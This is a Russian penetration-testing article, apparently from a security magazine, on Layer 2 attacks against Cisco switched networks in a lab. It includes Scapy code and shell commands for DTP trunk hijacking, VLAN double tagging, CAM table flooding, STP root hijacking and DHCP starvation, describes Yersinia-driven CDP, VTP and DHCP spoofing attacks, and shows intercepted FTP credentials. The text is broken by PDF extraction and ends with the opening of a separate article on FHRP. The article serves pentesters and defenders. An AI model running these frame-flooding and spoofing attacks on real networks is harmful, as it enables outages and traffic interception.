ее исполь зовать, что бы опре делить вер сию про шив ки ком мутато ра. Если
в ней най дет ся извес тная уяз вимость, то зло умыш ленник смо жет про вес ти
ата ку.

Дамп CDP-тра фика

Дамп LLDP-тра фика

CDP Flooding

Зло умыш ленник может выз вать отказ в обслу жива нии ком мутато ра Cisco,
если разош лет огромное количес тво сооб щений CDP. Цен траль ный про цес- 
сор ком мутато ра будет пол ностью перег ружен, а таб лица соседей CDP нач- 
нет перепол нять ся. Ата ка дос таточ но прос тая, поэто му мно го о ней говорить
не буду.

Схе ма ата ки на CDP

Что бы про вес ти эту ата ку, вос поль зуем ся Yersinia. Нас инте ресу ет опция
ooding CDP table, она вызовет лавин ную и очень быс трую рас сылку кад ров
CDP, которые при ведут к перег рузке цен траль ного про цес сора ком мутато ра,
что сде лает невоз можной нор маль ную работу сети.

Ата ка на CDP с помощью Yersinia

Ла вин ная рас сылка CDP

Пе репол няющаяся таб лица соседей CDP

Пе рег ружен ный цен траль ный про цес сор ком мутато ра

ÍÀÏÀÄÅÍÈÅ ÍÀ ÑÅÒÈ VLAN

Äèíàìè÷åñêèé òðàíê è ïîáåã â äðóãèå ñåãìåíòû VLAN

Эта ата ка при мени ма толь ко к ком мутато рам Cisco. Суть ата ки зак люча ется
в том, что бы при нуди тель но перевес ти порт в режим магис траль ного канала.
За авто мати чес кий тран кинг на ком мутато рах Cisco отве чает про токол DTP.
По умол чанию все пор ты ком мутато ра Cisco находят ся в режиме DTP Dynamic
Auto. Это озна чает, что порт будет ожи дать ини циацию тран ка с сосед него
пор та. Ата кующе му оста ется толь ко отпра вить спе циаль но под готов ленный
кадр DTP Desirable, и он смо жет совер шить пры жок абсо лют но в любую сеть
VLAN и видеть тра фик всех сетей VLAN. Под робнее об этой ата ке ты смо жешь
узнать из моей статьи «

».
Как взло мать про токол DTP и совер шить побег в дру- 

гую сеть VLAN

Схе ма ата ки на про токол DTP

Со берем кадр DTP Desirable с помощью Scapy. Для начала необ ходимо
импорти ровать модуль для работы с про токо лом DTP:

>>> from.scapy.contrib.dtp import *

Со бира ем фрейм Ethernet 802.3, MAC-адрес источни ка будет ран домизи- 
рован ным, а в качес тве MAC-адре са наз начения будет адрес муль тикас товой
L2-рас сылки .01:00:0C:CC:CC:CC

INFO

Муль тикас товый адрес 
исполь зует ся не толь ко про токо лом DTP, но и
дру гими, нап ример CDP, VTP, PAgP, UDLD. Что бы
про токо лы отли чались друг от дру га при отправ ке
объ явле ний по оди нако вому муль тикас товому
адре су, для них реали зова но уни каль ное зна- 
чение в заголов ке SNAP на уров не LLC (Logical
Link Control). Для DTP это зна чение рав но

.

01:00:0C:CC:CC:CC

0x2004

Не забыва ем о сло ях  и  с ука зани ем зна чения , опре деля- 
юще го, что это имен но про токол DTP. Зна чения заголов ков в 

оставля ем по умол чанию, кро ме . И в кон це зацик лим отправ ку

соб ранно го кад ра — пусть шлет ся раз в три секун ды. Потому что если порт
был скон фигури рован динами чес ки, то вре мя его жиз ни все го 300 секунд
(5 минут).

LLC SNAP 0x2004
tlvlist

DTPNeighbor

>>> mymac = RandMAC()
 Dot3>>> dtp_frame = (src=mymac, dst="01:00:0C:CC:CC:CC")
 LLC 3 /SNAP>>> dtp_frame /= (dsap=0xaa, ssap=0xaa, ctrl= ) (OUI=0x0c, 

code = 0x2004)
 DTP

mymac
>>> dtp_frame /= (tlvlist=[DTPDomain(),DTPStatus(),DTPType(),
DTPNeighbor(neighbor= )])

, 3, 1, 1>>> sendp(dtp_frame, iface="eth0" inter= loop= verbose= )

По чему-то в Scapy в дефол тном кад ре DTP по умол чанию хра нят ся все необ- 
ходимые зна чения, что бы соб рать имен но кадр DTP Desirable. Я пока не знаю,
с чем это свя зано, но нам это на руку: сэконо мим вре мя. Поэто му мы оста- 
вили парамет ры DTP по умол чанию (за исклю чени ем ).DTPNeighbor

Од нако вкрат це рас ска жу о самых важ ных для нас заголов ках и их зна- 
чени ях:

 — зна чение заголов ка, ука зыва ющее на исполь- 
зование инкапсу ляции 802.1Q;

• DTPType = '\xa5'

 — зна чение заголов ка, ука зыва ющее на ста тус
DTP-кад ра. Это ста тус , то, что нам нуж но для ини циации
магис траль ного режима пор та.

• DTPStatus = '\x03'
Desirable

Струк тура дефол тно го кад ра DTP в Scapy

Пос ле про веде ния ата ки мы можем видеть тра фик всех сетей VLAN. В резуль- 
тате сетевой раз ведки обна руже ны сети VLAN 100, 200, 220 и 250. Эти зна- 
чения VLAN ID рас положе ны в одном из заголов ков про токо ла STP — Root
Identier (Root Bridge System ID Extension).

Дамп тра фика из Wireshark

Те перь необ ходимо соз дать вир туаль ные интерфей сы VLAN, под нять их
и зап росить адрес по DHCP. В ито ге мы смо жем вза имо дей ство вать со все ми
хос тами во всех сетях VLAN.

c0ldheim@PWN:~$ sudo vconfig add eth0 100 
c0ldheim@PWN:~$ sudo vconfig add eth0 200 
c0ldheim@PWN:~$ sudo vconfig add eth0 220 
c0ldheim@PWN:~$ sudo vconfig add eth0 250 
c0ldheim@PWN:~$ sudo ifconfig eth0.100 up 
c0ldheim@PWN:~$ sudo ifconfig eth0.200 up 
c0ldheim@PWN:~$ sudo ifconfig eth0.220 up 
c0ldheim@PWN:~$ sudo ifconfig eth0.250 up 
c0ldheim@PWN:~$ sudo dhclient -v eth0.100 
c0ldheim@PWN:~$ sudo dhclient -v eth0.200 
c0ldheim@PWN:~$ sudo dhclient -v eth0.220 
c0ldheim@PWN:~$ sudo dhclient -v eth0.250 

Ус пешное получе ние адре сов по DHCP

Дос туп ко всем сетям VLAN

Продолжение статьи →

mailto:necreas1ng@gmail.com
http://github.com/tomac/yersinia
https://scapy.net/
https://github.com/Orange-Cyberdefense/fenrir-ocd
http://xakep.ru/2022/01/19/dtp-hack/
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VTP-èíúåêöèè è ìàíèïóëÿöèè áàçàìè äàííûõ VLAN

Про токол VTP был соз дан для того, что бы авто мати чес ки и цен тра лизо ван но
управлять базами дан ных VLAN на ком мутато рах Cisco. Для это го исполь зуют- 
ся номера ревизии кон фигура ции. С их помощью ком мутатор опре деля ет
самую све жую базу дан ных VLAN, при нима ет объ явле ния VTP и обновля ет БД
VLAN, уви дев боль ший номер ревизии.

Ðîëè êîììóòàòîðîâ â äîìåíå VTP

 Ком мутатор в роли VTP Server может соз давать новые VLAN,
уда лять ста рые или менять информа цию в самих VLAN. Так же он занима- 
ется генери рова нием объ явле ний VTP для осталь ных чле нов домена.

• VTP Server.

 Ком мутатор в этой роли будет получать спе циаль ные анон сы

VTP от дру гих ком мутато ров в домене, что бы обновлять базы дан ных VLAN
у себя. Кли енты огра ниче ны в воз можнос тях соз давать VLAN и даже
не име ют пра ва локаль но изме нять кон фигура цию VLAN. Ина че говоря,
дос туп read only.

• VTP Client.

 В этом режиме ком мутатор не учас тву ет в про цес сах

VTP и может вес ти у себя пол ное и локаль ное адми нис три рова ние всей
кон фигура ции VLAN. Работая в проз рачном режиме, ком мутато ры занима- 
ются толь ко переда чей объ явле ний VTP от дру гих ком мутато ров, не зат- 
рагивая свою кон фигура цию сетей VLAN. У таких ком мутато ров номер
ревизии всег да будет равен нулю, и про тив них ата ки с инъ екци ей VTP
не про вес ти.

• VTP Transparent.

Òèïû îáúÿâëåíèé â äîìåíå VTP

Summary Advertisement — объ явле ние VTP, отправ ляемое сер вером VTP
каж дые 300 секунд (5 минут). В этом объ явле нии хра нит ся имя домена VTP,
вер сия про токо ла, отметка вре мени и зна чение MD5-хеша кон фигура ции;

•

Subset Advertisement — объ явле ние VTP, которое отправ ляет ся при каж- 
дом изме нении кон фигура ции VLAN;

•

Advertisement Request — это зап рос от кли ента VTP к сер веру VTP на сооб- 
щение . Обыч но рас сыла ется в ответ на сооб- 
щение о том, что ком мутатор обна ружил 
с бóльшим номером ревизии кон фигура ции.

•
Summary Advertisement

Summary Advertisement

Что бы ата ковать домен VTP, необ ходимо, что бы порт, к которо му ты под клю- 
чен во вре мя ата ки, был в режиме магис траль ного канала. Кста ти говоря, ата- 
ка на VTP может быть сле дующим шагом пос ле того, как ты ата ковал про токол
DTP и стал тран ковым каналом. Зло умыш ленник смо жет про водить VTP-инъ- 
екции и отправ лять яко бы «обновлен ные» базы дан ных VLAN с бóльшим
номером ревизии. Легитим ные ком мутато ры, в свою оче редь, при мут и обно- 
вят свои базы дан ных VLAN. Про вес ти такую ата ку нам поможет Yersinia. Рас- 
смот рим ата ку на VTPv1 с пос леду ющим уда лени ем всех VLAN.

Схе ма ата ки на домен VTP

Таб лица VLAN на ком мутато ре до ата ки

Инъ екция VTP с уда лени ем всех VLAN на ком мутато ре

Yersinia сге нери рует спе циаль ные VTP-объ явле ния 

и .

Summary Advertisement
Subset Advertisement

Дамп тра фика во вре мя инъ екции VTP

Как видим, пос ле про веде ния ата ки все соз данные VLAN были уда лены. VLAN
1 и VLAN в диапа зоне 1002–1005 никуда не денут ся, пос коль ку соз даны
по умол чанию.

Ба за дан ных VLAN на ком мутато ре пос ле инъ екции

Àòàêà äâîéíîãî òåãèðîâàíèÿ

Ата ка двой ного тегиро вания осно вана на исполь зовании осо бен ностей
инкапсу ляции 802.1Q в сетях Ethernet. В боль шинс тве слу чаев ком мутато ры
исполня ют толь ко один уро вень про цес са, деин капсу ляции 802.1Q.
Это откры вает путь для экс плу ата ции, пос коль ку такая осо бен ность поз воля ет
пен тесте ру скрыть в кад ре Ethernet вто рую мет ку 802.1Q.

Вот как в деталях про исхо дит ата ка:
Зло умыш ленник собира ет кадр Ethernet с дву мя тегами и отправ ляет его
в сто рону ком мутато ра. VLAN ID пер вой мет ки 802.1Q дол жен сов падать
со зна чени ем Native VLAN пор та, находя щего ся в магис траль ном режиме.
Для удобс тва вос при ятия пред ста вим, что пер вая мет ка 802.1Q будет
VLAN 1, а вто рая мет ка 802.1Q — VLAN 100.

•

Кадр попада ет на ком мутатор SW 1. Ком мутатор про веря ет пер вые четыре
бай та мет ки 802.1Q. Ком мутатор видит, что кадр пред назна чен для VLAN
1, которая в его кон фигура ции явля ется сетью Native VLAN. Ком мутатор
SW1 унич тожа ет эту мет ку. В это же вре мя вто рая мет ка VLAN 100 оста ется
целой и никуда не про пада ет.

•

INFO

Native VLAN — это спе циаль ная VLAN, к которой
ком мутатор ассо циирует все кад ры
без тега 802.1Q. По умол чанию иден тифика тор
Native VLAN равен еди нице.

Да лее ком мутатор SW2 про веря ет толь ко внут реннюю мет ку 802.1Q
и видит, что дан ный кадр пред назна чен для сети VLAN 100. Этот ком- 
мутатор отправ ляет кадр на порт, который при над лежит сети VLAN 100,
и кадр дос тига ет сво его пун кта наз начения.

•

Схе ма ата ки Double Tagging

По лигон для ата ки Double Tagging

Ад ресация для тес тового полиго на

Вос поль зуем ся Scapy, что бы соб рать широко веща тель ный кадр Ethernet
с дву мя мет ками 802.1Q. Так же будет добав лен слой ICMP, что бы наг лядно
показать, как кадр доберет ся до наз начения и отве тит на фаль сифици рован- 
ный зап рос ICMP. Отпра вим этот зап рос яко бы от машины Nefarian под IP-
адре сом 10.10.200.1.

>>> frame = Ether(dst="FF:FF:FF:FF:FF:FF")
1>>> first_DOT1Q_tag = Dot1Q(vlan= )
100>>> second_DOT1Q_tag = Dot1Q(vlan= )

 IP , >>> ip_packet = (src="10.10.200.1" dst="10.10.100.1")
 ICMP>>> icmp_layer = ()

>>> crafted = frame / first_DOT1Q_tag / second_DOT1Q_tag / ip_
packet / icmp_layer 

, 40, 0, 1>>> sendp(crafted, iface="eth0" count= loop= verbose= )

Ус пешные ICMP echo и reply в сто рону машины Darker

Как видим, пакет при бежал на хост наз начения, но с одной мет кой VLAN ID
100, пос коль ку пер вый тег VLAN 1 был унич тожен пер вым ком мутато ром SW1.
Имей в виду, что это односто рон няя ата ка. Воз можно, она будет полез на
при нападе нии на сег мент DMZ во вре мя пен теста.

ÑÅÒÅÂÀß ÐÀÇÂÅÄÊÀ È ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ Ñ ÏÎÌÎÙÜÞ ARP

ARP Harvesting

Про токол ARP может быть очень полезен в рам ках сетевой раз ведки. Ска- 
ниро вание ARP поз воля ет про вес ти перечис ление активных хос тов и име ет
неболь шое пре иму щес тво перед ICMP-ска ниро вани ем, пос коль ку тра фик
ICMP в кор поратив ной сети может быть огра ничен, а то и вов се вык лючен.

Проб лема ска ниро вания ARP в том, что это очень шум ный спо соб сетевой
раз ведки. С этим спо собом нуж но быть осто рож ным, что бы не спро воци- 
ровать тре вогу сис тем безопас ности IPS/IDS. Да и на пор те, к которо му ты
под клю чен, может быть скон фигури рован Storm Control, бло киру ющий порт
при ано маль ном широко веща тель ном тра фике (тра фик про токо ла ARP —
широко веща тель ный).

C помощью  можем обна ружить активные хос ты
в сети 10.1.1.0/24 и их MAC-адре са. В моем слу чае тес товая сеть малень кая,
но тем не менее.

ARPScanner.py

c0ldheim@PWN:~$ sudo python3 ARPScanner.py -t 10.1.1.0/24 -i eth0 

Ре зуль тат ARP-ска ниро вания

ARP Cache Poisoning

Тех ника этой сетевой ата ки зак люча ется в исполь зовании недос татков про- 
токо ла ARP. Абсо лют но любой хост в сети может вызывать ARP-зап росы
и при нимать их, они это дела ют без механиз ма аутен тифика ции (в про токо ле
ARP не пре дус мотрен механизм аутен тифика ции), поэто му все хос ты доверя- 
ют друг дру гу. Зло умыш ленни ку дос таточ но отпра вить фаль сифици рован ные
отве ты ARP в сто рону цели A и цели B. С помощью под делыва ния отве тов
ARP компь ютер ата кующе го позици они рует ся целью А для цели B и наобо рот,
тем самым встав посере дине. Это соз дает усло вия для перех вата тра фика.

На кар тинке ниже пред став лен при мер отравле ния кеша ARP.

Схе ма ата ки на про токол ARP

Пе рей дем к прак тике. Для начала необ ходимо перек лючить наш интерфейс
в нераз борчи вый режим и раз решить фор вардинг меж ду интерфей сами.
Ина че два хос та потеря ют связ ность меж ду собой, ведь тра фик будет идти
через нас, а фор вардин га меж ду интерфей сами нет.

c0ldheim@PWN:~$ ifconfig eth0 promisc 
1 c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=

С помощью скрип та  запус каем про цесс отравле ния ARP.
В качес тве пер вой цели ука жем машину на Windows с IP-адре сом 10.1.1.2,
в качес тве вто рой — FTP-сер вер с адре сом 10.1.1.5.

ARPSpoofer.py

c0ldheim@PWN:~$ sudo python3 ARPSpoofer.py -t1 10.1.1.2 -t2 10.1.1.
5 -i eth0 

Пос ле это го мож но перехо дить к эта пу прос лушива ния сетево го тра фика.

Пе рех вачен ный тра фик FTP

ÏÅÐÅÏÎËÍÅÍÈÅ ÀÑÑÎÖÈÀÒÈÂÍÎÉ ÏÀÌßÒÈ ÊÎÌÌÓÒÀÒÎÐÀ

Иног да такая ата ка называ ется перепол нени ем таб лицы MAC-адре сов. Прин- 
цип этой ата ки сос тоит в том, что бы выз вать перепол нение ком мутаци онной
мат рицы. В слу чае чего ком мутатор, гру бо говоря, прев раща ется в хаб
и начина ет рас сылать пос тупа ющие кад ры во все пор ты, что вызыва ет иде- 
аль ные усло вия для перех вата тра фика. Вызывать перепол нение очень прос- 
то, ведь у ком мутато ров огра ничен раз мер таб лиц MAC-адре сов. При запол- 
нении таб лицы MAC-адре сов зло умыш ленник смо жет видеть все рас сыла- 
емые кад ры из всех пор тов.

CAM Table Overow

Вос поль зуем ся Scapy, что бы про вес ти такую ата ку. В качес тве MAC-адре са
источни ка пусть будет ран домизи рован ный MAC-адрес, каж дый новый
генери рующий ся кадр будет с новым MAC-адре сом. MAC-адре сов наз- 
начения это тоже каса ется.

Да лее с помощью метода  выпол няем рас сылку фик тивных кад ров
Ethernet. Задав , зацик лим отправ ку этих кад ров.

sendp
loop = 1

   , >>> malicious_frames = Ether(src=RandMAC() dst=RandMAC())
   , 1, 1>>> sendp(malicious_frames, iface="eth0" loop= verbose= )

Дамп тра фика в момент про веде ния ата ки

Таб лица MAC-адре сов ком мутато ра до ата ки:

 

 

 

 

CoreSW#show mac address-table count

Mac Entries for Vlan 1: 
 

Dynamic Address Count  : 3 
Static  Address Count  : 0 
Total Mac Addresses    : 3

---------------------------

Total Mac Address Space Available: 7981

Таб лица MAC-адре сов ком мутато ра пос ле ата ки:

 

 

 

 

CoreSW#show mac address-table count

Mac Entries for Vlan 1: 
 

Dynamic Address Count  : 7981 
Static  Address Count  : 0 
Total Mac Addresses    : 7981

---------------------------

Total Mac Address Space Available: 7981

По ка таб лица MAC-адре сов не запол нена, ком мутатор будет переда вать все
кад ры из всех пор тов, исполь зуя широко веща тель ную рас сылку.

STP ROOT HIJACKING

Êàê ðàáîòàåò STP

STP необ ходим для того, что бы обес печить отка зоус той чивость компь ютер-
ной сети на каналь ном уров не. Для это го бло киру ются избы точ ные каналы,
что бы не выз вать в сети широко веща тель ный шторм. По моему мне нию,
STP — это уста рев ший метод орга низа ции отка зоус той чивос ти на уров не L2,
учи тывая, что есть сис тема агре гиро вания ком мутаци онных каналов и тех- 
нология Storm Control.

Ког да тополо гия STP толь ко собира ется, наз нача ется спе циаль ный кор- 
невой ком мутатор (ина че говоря, root bridge). Выбор осно выва ется на спе- 
циаль ном зна чении при ори тета (по умол чанию это зна чение экви вален- 
тно 32 768). У всех ком мутато ров в домене STP это зна чение оди нако вое,
поэто му выбор опре деля ется сло жени ем сле дующих парамет ров:

зна чение при ори тета 32 768;•
MAC-адрес ком мутато ра.•

Ком мутатор, у которо го мень ше MAC-адрес, ста нет кор невым ком мутато ром.
Про изво дите ли сетевых устрой ств наз нача ют MAC-адре са сво им детищам
пос ледова тель но. Чем ста рее устрой ство, тем его MAC-адрес мень ше.
От это го в про дак шене кор невым ком мутато ром час то ста новит ся
какой-нибудь древ ний свитч! :) Про пус кная спо соб ность сети от это го, конеч- 
но, стра дает.

Пос ле того как прош ли выборы кор невого ком мутато ра, осталь ные свит чи
выбира ют пор ты, которые смот рят в сто рону кор невого ком мутато ра. Их
исполь зуют для фор вардин га тра фика. Затем будут выб раны пор ты, которые
заб локиру ются на логичес ком уров не. Таким обра зом STP поз воля ет избе- 
жать воз никно вения ком мутаци онно го коль ца, вызыва юще го широко веща- 
тель ный шторм.

Àòàêà

Но если в домене STP вне зап но появит ся новый ком мутатор, при ори тет
которо го ниже, чем при ори тет текуще го кор невого ком мутато ра, будет выб- 
ран новый кор невой ком мутатор. Таким обра зом, изме няя струк туру тополо- 
гии STP, мож но перех ватывать легитим ный сетевой тра фик.

Схе ма ата ки на STP

Для начала переве дем наши физичес кие интерфей сы в нераз борчи вый
режим, соз дадим мост  и наз начим это му мос ту два интерфей са 
и :

br-evil eth0
eth1

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc 
c0ldheim@PWN:~$ sudo ifconfig eth1 promisc 
c0ldheim@PWN:~$ sudo brctl addbr br-evil 
c0ldheim@PWN:~$ sudo brctl addif br-evil eth0 
c0ldheim@PWN:~$ sudo brctl addif br-evil eth1 
c0ldheim@PWN:~$ sudo ifconfig br-evil promisc 
c0ldheim@PWN:~$ sudo ifconfig br-evil up 

Те перь нуж но раз решить фор вардинг тра фика меж ду интерфей сами.

1 c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=

Нам при годит ся Scapy — соб рать спе циаль ный STP-фрейм. Необ ходимо
импорти ровать модуль для работы с про токо лами L2.

>>> from scapy.layers.l2 import *

За тем собира ем необ ходимый кадр STP с наимень шим зна чени ем MAC-
адре са в перемен ных ,  и . И напос ледок зацик лим

отправ ку это го фрей ма раз в 3 секун ды:

src rootmac bridgemac

, >>> frame = Ether(src="00:00:00:00:00:11" dst="01:80:C2:00:00:00")
 LLC /STP , >>> frame /= () (rootmac="00:00:00:00:00:11" bridgemac="00:00:

00:00:00:11")
, 3, 1, 1>>> sendp(frame, iface="br-evil" inter= loop= verbose= )

INFO

Для рас сылки слу жеб ных TCN-сооб щений STP
исполь зует MAC-адрес муль тикас товой рас сылки

.01:80:C2:00:00:00

Пос ле отправ ки соз данно го нами фрей ма видим сооб щения STP TCN. Они
исполь зуют ся для того, что бы ком мутато ры в домене STP обме нива лись слу- 
жеб ной информа цией меж ду собой.

Дамп тра фика во вре мя ата ки на STP

Сос тояние STP на ком мутато ре SW1 пос ле ата ки:

VLAN0001 
 Spanning tree enabled protocol rstp
 Root ID    Priority    32769 
            Address     5000.0007.0000 
            Cost        4 
            Port        1 (GigabitEthernet0/0)
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    32769  (priority 32768 sys-id-ext 1)
            Address     5000.0008.0000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  300 sec 

Interface           Role Sts Cost      Prio.Nbr Type 
     ------------------- ---- --- --------- --------

--------------------------------
Gi0/0               Root FWD 4         128.1    Shr 
Gi0/1               Desg FWD 4         128.2    Shr 
Gi0/2               Desg FWD 4         128.3    Shr 
Gi0/3               Desg FWD 4         128.4    Shr 
Gi1/0               Desg FWD 4         128.5    Shr 
Gi1/1               Desg FWD 4         128.6    Shr 
Gi1/2               Desg FWD 4         128.7    Shr 

Interface           Role Sts Cost      Prio.Nbr Type 
     ------------------- ---- --- --------- --------

--------------------------------

Gi1/3               Desg FWD 4         128.8    Shr 

Продолжение статьи →

http://github.comc0ldheim/NetworkExploitation/blob/main/ARPScanner.py
http://github.com/C0ldheim/NetworkExploitation/blob/main/ARPSpoofer.py
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Сос тояние STP на ком мутато ре SW2 пос ле ата ки:

VLAN0001 
 Spanning tree enabled protocol rstp
 Root ID    Priority    32769 
            Address     5000.0007.0000 
            Cost        8 
            Port        1 (GigabitEthernet0/0)
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    32769  (priority 32768 sys-id-ext 1)
            Address     5000.0009.0000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  300 sec 

Interface           Role Sts Cost      Prio.Nbr Type 
     ------------------- ---- --- --------- --------

--------------------------------
Gi0/0               Root FWD 4         128.1    Shr 
Gi0/1               Altn BLK 4         128.2    Shr 
Gi0/2               Desg FWD 4         128.3    Shr 
Gi0/3               Desg FWD 4         128.4    Shr 
Gi1/0               Desg FWD 4         128.5    Shr 
Gi1/1               Desg FWD 4         128.6    Shr 
Gi1/2               Desg FWD 4         128.7    Shr 

Interface           Role Sts Cost      Prio.Nbr Type 
     ------------------- ---- --- --------- --------

--------------------------------

Gi1/3               Desg FWD 4         128.8    Shr 

Сос тояние STP на ком мутато ре SW3 пос ле ата ки:

VLAN0001 
 Spanning tree enabled protocol rstp
 Root ID    Priority    32769 
            Address     5000.0007.0000 
            Cost        4 
            Port        1 (GigabitEthernet0/0)
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 

 Bridge ID  Priority    32769  (priority 32768 sys-id-ext 1)
            Address     5000.000a.0000 
            Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec 
            Aging Time  300 sec 

Interface           Role Sts Cost      Prio.Nbr Type 
     ------------------- ---- --- --------- --------

--------------------------------
Gi0/0               Root FWD 4         128.1    Shr 
Gi0/1               Altn BLK 4         128.2    Shr 
Gi0/2               Desg FWD 4         128.3    Shr 
Gi0/3               Desg FWD 4         128.4    Shr 
Gi1/0               Desg FWD 4         128.5    Shr 
Gi1/1               Desg FWD 4         128.6    Shr 
Gi1/2               Desg FWD 4         128.7    Shr 

Interface           Role Sts Cost      Prio.Nbr Type 
     ------------------- ---- --- --------- --------

--------------------------------

Gi1/3               Desg FWD 4         128.8    Shr 

Ата кован ная тополо гия STP

Те перь тра фик побежит через наш компь ютер. Для наг ляднос ти ини циирую
ICMP-зап росы от компь юте ра с IP-адре сом 10.1.1.100 до компь юте ра под IP-
адре сом 10.1.1.200.

Вот таким дос таточ но нес ложным спо собом мож но перех ватывать тра фик.
При этом для легитим ных хос тов видимых приз наков ата ки нет.

VLAN ID Enumeration

С помощью обна ружен ного кад ра STP мож но понять, в какой сети VLAN ты
находишь ся. Информа ция о VLAN ID рас положе на в заголов ке Root Identier
(Root Bridge System ID Extension). Его зна чение экви вален тно зна чению VLAN
ID на пор те, к которо му ты под клю чен.

За голо вок Root Identier

Таб лица сетей VLAN на ком мутато ре

Схе ма сети из EVE-NG

ÈÑÒÎÙÅÍÈÅ È ÏÎÄÌÅÍÀ DHCP-ÑÅÐÂÅÐÀ

DHCP Starvation

Эта ата ка осно вана на про веде нии рас сылок огромно го количес тва сооб- 
щений  с целью исто щить адресное прос транс тво на сер вере
DHCP. Сер вер DHCP будет реаги ровать на каж дый зап рос и выдавать IP-
адрес. Пос ле перепол нения допус тимого адресно го прос транс тва сер вер
DHCP боль ше не смо жет обслу живать новых кли ентов в сво ей сети, выдавая
им IP-адре са.

DHCPDISCOVER

DHCP Starvation Attack

Про тес тиру ем эту ата ку на неболь шой локаль ной сети. DHCP-сер вер уже
нас тро ен на мар шру тиза торе GW. Под сеть — 10.1.1.0/24.

По лигон для про веде ния ата ки на DHCP

С помощью Scapy вызовем рас сылку фей ковых . В качес тве

MAC-адре са наз начения и IP-адре са наз начения выс тупят адре са широко- 
веща тель ной рас сылки. Добавим слой про токо ла UDP, пос коль ку про токол
DHCP исполь зует его. В шаб лоне  ука жем, что мы будем рас сылать

пакеты DHCP типа  И в кон це зацик лим бес конеч ную отправ ку

генери руемых фрей мов.

DHCPDISCOVER

options
DISCOVER

, >>> malicious_dhcp_discover = Ether(src=RandMAC() dst="FF:FF:FF:FF:
FF:FF")

 IP ,dst>>> malicious_dhcp_discover /= (src="0.0.0.0" ="255.255.255.
255")

 UDP 68, 67>>> malicious_dhcp_discover /= (sport= dport= )
>>> malicious_dhcp_discover /= BOOTP(op=1, chaddr = RandMAC())

 DHCP , 
,

>>> malicious_dhcp_discover /= (options=[('message-type'
'discover') ('end')])

, 1, 1>>> sendp(malicious_dhcp_discover, iface="eth0" loop= verbose= )

Дамп тра фика во вре мя DHCP Starvation

Пе репол няющееся адресное прос транс тво DHCP-сер вера. Часть 1

Пе репол няющееся адресное прос транс тво DHCP-сер вера. Часть 2

Сер вер DHCP выведен из строя, теперь мож но прис тупить к соз данию его
лож ного ана лога.

DHCP Spoofing

Пос ле вывода из строя легитим ного DHCP-сер вера зло умыш ленник может
под нять на сво ей сто роне фей ковый DHCP-сер вер, заявив, что имен но он
и явля ется шлю зом по умол чанию. Ког да DHCP-сер вер выда ет IP-адре са хос- 
там в сети, там переда ется и информа ция об IP-адре се шлю за по умол чанию.
Поэто му, нас тра ивая такой DHCP-сер вер, в качес тве default gateway ука жем
наш IP-адрес. Пос ле того как кли ент получит адрес, сде лав зап рос к нам,
на его сто роне мы будем шлю зом по умол чанию и он будет нап равлять свои
пакеты нам. Это соз дает иде аль ные усло вия для про веде ния атак типа MITM.

Вос поль зуем ся Yersinia, что бы под нять лож ный сер вер DHCP.

Соз дание лож ного DHCP-сер вера

Кон фигура ция лож ного DHCP-сер вера

Те перь на машине с Windows 10 с помощью двух команд вызовем обновле- 
ние IP-адре са, то есть поп робу ем получить адрес из соз данно го нами лож- 
ного сер вера DHCP:

C:\Windows\system32> ipconfig /release 
C:\Windows\system32> ipconfig /renew 

Кли ент получил адрес по DHCP

Как видим, кли ент получил IP-адрес и информа цию о шлю зе по умол чанию.
Теперь мож но попытать ся перех ватить тра фик, пос коль ку весь тра фик кли- 
ента будет идти к нам.

Пе рек лючим наш интерфейс в нераз борчи вый режим и раз решим фор- 
вардинг тра фика на интерфей се:

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc 
1 c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=

В ито ге нам уда лось перех ватить незашиф рован ный FTP-тра фик с кре дами
.nightmare:nightmare

Пе рех ват учет ных дан ных для сер вера FTP

ÂÛÂÎÄÛ

В этой статье я разоб рал боль шинс тво сце нари ев атак на каналь ный уро вень
компь ютер ной сети. Исхо дя из лич ного опы та пен тестов, могу ска зать, что
про токо лы уров ня L2 очень час то оста ются без дол жно го вни мания и в боль- 
шинс тве слу чаев работа ют с кон фигура цией по умол чанию. Этим, как ты
видишь, может вос поль зовать ся зло умыш ленник.

Ата ки L2 в пос леднее вре мя утра тили акту аль ность и нем ного выш ли
из моды: сей час мало кто обра щает на них вни мание. Воз можно, эта статья
подарит пен тесте рам новые вари анты атак, а сетевые инже неры пос ле проч- 
тения смо гут повысить уро вень защищен ности сво их сетей.
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Су щес тву ет мно жес тво спо собов повысить отка зоус той- 
чивость и надеж ность в кор поратив ных сетях. Час то для это- 
го при меня ются спе циаль ные про токо лы пер вого перехо да
FHRP. Из этой статьи ты узна ешь, как пен тесте ры работа ют
с FHRP во вре мя атак на сеть.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÇÀ×ÅÌ ÍÓÆÅÍ FHRP

FHRP (First Hop Redundancy Protocol) — это семей ство про токо лов, обес- 
печива ющих избы точ ность сетево го шлю за. Общая идея зак люча ется в том,
что бы объ еди нить нес коль ко физичес ких мар шру тиза торов в один логичес- 
кий с общим IP-адре сом. Этот адрес вир туаль ного мар шру тиза тора будет
наз начать ся на интерфейс мар шру тиза тора с гла венс тву ющей ролью, а тот,
в свою оче редь, зай мет ся фор вардин гом тра фика. Самые популяр ные про- 
токо лы клас са FHRP — это HSRP и VRRP, о них мы сегод ня и погово рим.

Òåîðèÿ ïðîòîêîëà HSRP

Про токол HSRP (Hot Standby Router Protocol) — это один из про токо лов клас- 
са FHRP, поз воля ющих орга низо вать сис тему отка зоус той чивос ти шлю зов.
